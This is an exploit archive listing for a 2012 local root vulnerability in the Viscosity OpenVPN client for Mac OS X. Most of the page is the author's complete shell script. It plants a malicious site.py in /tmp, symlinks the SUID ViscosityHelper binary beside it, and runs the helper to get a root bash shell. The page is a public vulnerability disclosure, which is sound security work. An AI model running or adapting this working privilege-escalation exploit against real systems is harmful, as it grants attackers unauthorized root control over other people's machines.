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Viscosity OpenVPN OS X Local Root

Viscosity OpenVPN OS X Local Root
Posted Aug 13, 2012
Authored by zx2c4

Viscosity OpenVPN client for Mac OS X suffers from a local root command execution vulnerability due to a suid binary executing site.py.

tags | exploit, local, root
systems | apple, osx
SHA-256 | bbed2f8bef6e98f9f906db21866f9556901fd2af1233ad2af5fa7f69e3f8af21

Viscosity OpenVPN OS X Local Root

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#!/bin/sh
#
##########################
# Viscatory #
# #
# zx2c4 #
##########################
#
# After the hullabaloo from the Tunnelblick local root, savy Mac users
# began defending Viscosity, another OS X VPN client. They figured, since
# they spent money on Viscosity, surely it would be better designed than
# the free open-source alternative.
#
# Unfortunately, this exploit took all of 2 minutes to find. DTrace for
# the win. Here, the SUID helper will execute site.py in its enclosing
# folder. A simple symlink, and we have root.
#
# greets to jono
#
# Source: http://git.zx2c4.com/Viscatory/tree/viscatory.sh

echo "[+] Crafting payload."
mkdir -p -v /tmp/pwn
cat > /tmp/pwn/site.py <<_EOF
import os
print "[+] Cleaning up."
os.system("rm -rvf /tmp/pwn")
print "[+] Getting root."
os.setuid(0)
os.setgid(0)
os.execl("/bin/bash", "bash")
_EOF
echo "[+] Making symlink."
ln -s -f -v /Applications/Viscosity.app/Contents/Resources/ViscosityHelper /tmp/pwn/root
echo "[+] Running vulnerable SUID helper."
exec /tmp/pwn/root


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